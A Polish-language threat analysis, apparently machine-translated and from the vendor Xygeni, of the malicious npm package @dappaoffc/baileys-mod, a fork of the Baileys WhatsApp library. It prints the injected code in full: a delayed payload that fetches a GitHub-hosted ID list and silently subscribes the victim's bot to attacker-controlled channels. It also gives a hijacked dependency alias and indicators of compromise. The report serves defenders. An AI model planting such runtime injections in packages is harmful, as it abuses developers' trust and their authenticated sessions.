TL; DR
Zespół badawczy ds. bezpieczeństwa Xygeni zidentyfikowano złośliwy pakiet npm, @dappaoffc/baileys-mod, opublikowano jako rozwidlenie powszechnie używanej biblioteki WhatsApp Web API @whiskeysockets/baileys.
Począwszy od wersji 8.0.1 ten złośliwy pakiet npm zawiera w sobie kod wstrzykiwany w czasie wykonywania lib/Socket/newsletter.jsWprowadzona logika po cichu subskrybuje uwierzytelnioną sesję bota WhatsApp programisty do kanałów newsletterów kontrolowanych przez atakującego.
Ładunek aktywuje się 80 sekund po załadowaniu modułu i dynamicznie pobiera listę celów z serwisu GitHub, przez co zachowanie aktualizuje się automatycznie i jest trudne do wykrycia za pomocą analizy w czasie instalacji.
Przegląd techniczny
Podczas rutynowego monitorowania nowo opublikowanych zależności zespół badawczy ds. bezpieczeństwa Xygeni wykrył nietypowe zachowanie w @dappaoffc/baileys-mod, później potwierdzono jako złośliwy pakiet npm ukierunkowane na ekosystem botów WhatsApp.
W przeciwieństwie do robaków kradnących dane uwierzytelniające i programów typu ransomware, ten złośliwy pakiet npm nadużywa relacji zaufania między programistą a często rozwijaną biblioteką typu open source.
Pakiet prezentuje się jako zmodyfikowana wersja Baileysa, popularna implementacja WhatsApp Web API, szeroko wykorzystywana do tworzenia botów automatyzujących. W tym ekosystemie instalowanie forków jest powszechną praktyką. W rezultacie atakujący wykorzystał realistyczny model dystrybucji, zamiast wykorzystać lukę w zabezpieczeniach.
Co ważne:
- skrypt preinstall weryfikuje tylko wersję Node.js
- Podczas instalacji nie dochodzi do wycieku danych uwierzytelniających
- Nie zaobserwowano żadnej podejrzanej aktywności po instalacji
- Wstrzyknięcie jest wykonywane ściśle w czasie wykonywania
Dzięki takiemu rozwiązaniu skanery działające w czasie instalacji nie wykryją złośliwego zachowania.
Mechanizm wstrzykiwania w czasie wykonywania w złośliwym pakiecie npm
Złośliwa logika w tym złośliwym pakiecie npm znajduje się w lib/Socket/newsletter.js, osadzone bezpośrednio w kontekście wykonania modułu.
Atakujący umieścił wstrzyknięty blok w natychmiastowo wywoływanym wyrażeniu funkcji (IIFE), co gwarantuje wykonanie natychmiast po załadowaniu modułu.
Jednak zamiast wyzwolić się natychmiast, ładunek wprowadza mechanizm opóźnionego wykonania:
(async () => {
try {
setTimeout(async() => {
const res = await fetch('https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json');
const newsletterIds = await res.json();
newsletterIds.forEach(async(i) => {
await delay(5000)
try {
await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
} catch (e) {}
});
}, 80000)
} catch (err) {}
})()
Po upływie opóźnienia ładunek wykonuje kontrolowaną sekwencję:
- Pobiera JSON plik z adresu URL surowej treści GitHub.
- Analizuje listę identyfikatorów biuletynów WhatsApp.
- Iteruje listę.
- Połączenia
newsletterWMexQuery(id, QueryIds.FOLLOW)dla każdego wpisu. - Żądania spacji są wysyłane w odstępach pięciosekundowych w celu zmniejszenia limitu wykrywania.
- Cicho wyłącza wszystkie błędy czasu wykonania.
Ponieważ kod wywołuje wewnętrzne funkcje biblioteczne, a nie zewnętrzne skrypty, generowany ruch wydaje się nieodróżnialny od legalnych działań inicjowanych przez użytkownika. WhatsAppy z perspektywy protokołu bot dobrowolnie zapisał się do tych kanałów.
Porównanie techniczne: zachowanie uzasadnione a zachowanie wstrzyknięte
| Składnik | Uzasadnione zachowanie | Złośliwe wstrzyknięcie |
|---|---|---|
| Faza instalacji | Sprawdza tylko wersję Node.js | Brak widocznych złośliwych zachowań podczas instalacji |
| Inicjalizacja modułu | Eksportuje fabrykę gniazd WhatsApp | IIFE wykonuje się automatycznie po załadowaniu modułu |
| Czas wykonania | Brak opóźnionego zachowania | 80-sekundowe opóźnienie aktywacji |
| Komunikacja sieciowa | Komunikuje się wyłącznie za pomocą protokołu WhatsApp WebSocket | Pobieranie wychodzące do surowej zawartości GitHub (kanał sterowania dynamicznego) |
| Akcje newslettera | Żądania subskrypcji inicjowane przez użytkownika | Zautomatyzowane żądania FOLLOW za pośrednictwem wewnętrznego interfejsu API biblioteki |
| Obsługa błędów | Propaguje błędy operacyjne | Cicho tłumi wszystkie wyjątki |
Kanał sterowania dynamicznego przez GitHub
Lista identyfikatorów newslettera jest hostowana pod adresem:
https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json
Taka konstrukcja zapewnia szereg korzyści operacyjnych:
- Dynamiczne aktualizacje ładunku bez publikowania nowej wersji npm
- Zaufany punkt końcowy TLS, który łączy się ze zwykłym ruchem programistów
- Nie jest wymagana żadna infrastruktura zarządzana przez atakującego
- Wytrwałość w już wdrożonych botach
Ponieważ wstrzyknięcie jest wykonywane w zakresie fabrycznym, ponownie wykorzystuje wewnętrzne zamknięcia, takie jak newsletterWMexQuery oraz delay bez importowania zewnętrznych modułów. Minimalizuje to rozmiar i zwiększa ukrycie.
W praktyce GitHub działa jako lekki kanał dystrybucji poleceń.
Alias zależności i sygnały atrybucji
Metadane pakietu obejmują następujący alias zależności:
"libsignal": "npm:@skyzopedia/libsignal-node"
Przekierowuje krytyczną zależność kryptograficzną do zakresu npm kontrolowanego przez atakującego.
Ponadto metadane imituje projekt źródłowy, odwołując się do oryginalnego autora i repozytorium. Zwiększa to postrzeganą wiarygodność i zmniejsza ryzyko kontroli podczas pobieżnej recenzji.
Sygnały te wskazują raczej na celowe mieszanie się ekosystemów, a nie oportunistyczna manipulacja.
Wskaźniki zagrożenia dla tego złośliwego pakietu npm
Zespoły ds. bezpieczeństwa badające ten złośliwy pakiet npm powinny ocenić następujące sygnały:
Sygnały sieciowe
- Żądania GET wychodzące do
raw.githubusercontent.comz procesów bota WhatsApp - Biuletyn ŚLEDŹ działania wykonywane bez wyzwalania ich przez logikę aplikacji
Sygnały pakietowe
@dappaoffc/baileys-modwersja 8.0.1 (i potencjalnie 8.0.0)- Przekierowywanie aliasów zależności
libsignal - Wstrzyknięcie IIFE w czasie wykonywania
newsletter.js
Sygnały behawioralne
- Żądania FOLLOW wysyłane w odstępach pięciosekundowych
- Brak interakcji użytkownika poprzedzającej subskrypcję newslettera
- Ciche tłumienie błędów w kodzie biblioteki głównej
W przeciwieństwie do tradycyjnego złośliwego oprogramowania, ten atak nie wymaga wykradania danych uwierzytelniających. Nadużycie ma miejsce wyłącznie w kontekście sesji, która została już uwierzytelniona.
Wykrywanie i łagodzenie zagrożeń za pomocą Xygeni
Ten przypadek ilustruje, dlaczego samo skanowanie w trakcie instalacji jest niewystarczające. Złośliwe zachowanie jest wykonywane po załadowaniu modułu i ukrywa się w legalnej logice biznesowej.
Wczesne ostrzeganie przed złośliwym oprogramowaniem (MEW) firmy Xygeni wykryto ten pakiet poprzez korelację wielu sygnałów, zamiast opierać się na pojedynczym podpisie.
Analiza statyczna pełnego źródła
MEW sprawdza całe drzewa źródłowe pakietów, nie tylko skrypty cyklu życia.
W tym przypadku sygnały detekcji obejmowały:
- Niespodziewanie
fetch()połączenie wewnątrz modułu głównego WhatsApp - Komunikacja wychodząca do surowej zawartości GitHub
- Opóźnione wzorce wykonywania osadzone w logice czasu wykonania
- Zagnieżdżone, ciche przetwarzanie błędów
Pojedynczo te wzorce mogą wydawać się łagodne. Jednak analiza łączona ujawnia anomalie, niezgodne z prawidłowym widelcem Baileysa.
Korelacja ryzyka zależności
libsignal alias wywołał dodatkową kontrolę, ponieważ przekierowuje poufną zależność do niezweryfikowanego zakresu.
Xygeni koreluje:
- Sygnały reputacji wydawcy
- Niespójności w zakresie własności
- Przekierowanie zależności w bibliotekach kryptograficznych
- Wskaźniki podszywania się pod metadane
Ta wielowarstwowa analiza pozwala ograniczyć liczbę fałszywych alarmów i identyfikować przypadki nadużyć zaufania.
Kontrola łańcucha dostaw uwzględniająca czas wykonania
Ponieważ ten złośliwy pakiet npm jest wykonywany w czasie rzeczywistym, skuteczna obrona wymaga analizy uwzględniającej zachowanie.
Xygeni ocenia:
- Mechanizmy opóźnionego wykonania
- Nadużycia wewnętrznego interfejsu API
- Wychodzące połączenia sieciowe w kodzie zależności
- Nietypowy przepływ sterowania w bibliotekach innych firm
Dodatkowo, Guardrails polityki w CI/CD może:
- Blokuj nieoczekiwane połączenia wychodzące podczas kompilacji
- Wykrywaj podejrzane zmiany w grafie zależności
- Wymuś ograniczenia dotyczące przekierowania zakresu
- Wzorce dynamicznego pobierania danych flagowych
Dlatego też powstrzymanie rozprzestrzeniania się wirusa nie polega wyłącznie na usunięciu rejestru.
Dlaczego ten złośliwy pakiet npm ma znaczenie dla bezpieczeństwa łańcucha dostaw
Ten złośliwy pakiet npm odzwierciedla strukturalną zmianę w nadużyciach łańcucha dostaw:
- Wykonywanie w czasie wykonywania zamiast ładunków w czasie instalacji
- Dynamiczne kanały sterowania hostowane na zaufanych platformach
- Nadużywanie legalnych wewnętrznych interfejsów API
- Podszywanie się pod metadane w celu naśladowania administratorów nadrzędnych
Atakujący nie wykorzystał luki w zabezpieczeniach oprogramowania. Zamiast tego, wykorzystał zaufanie do forków i aktualizacji zależności.
W związku z tym wykrywanie wymaga pełnej inspekcji kodu źródłowego, korelacji ryzyka zależności i analizy uwzględniającej czas wykonania, a nie tylko skanowania skryptów.







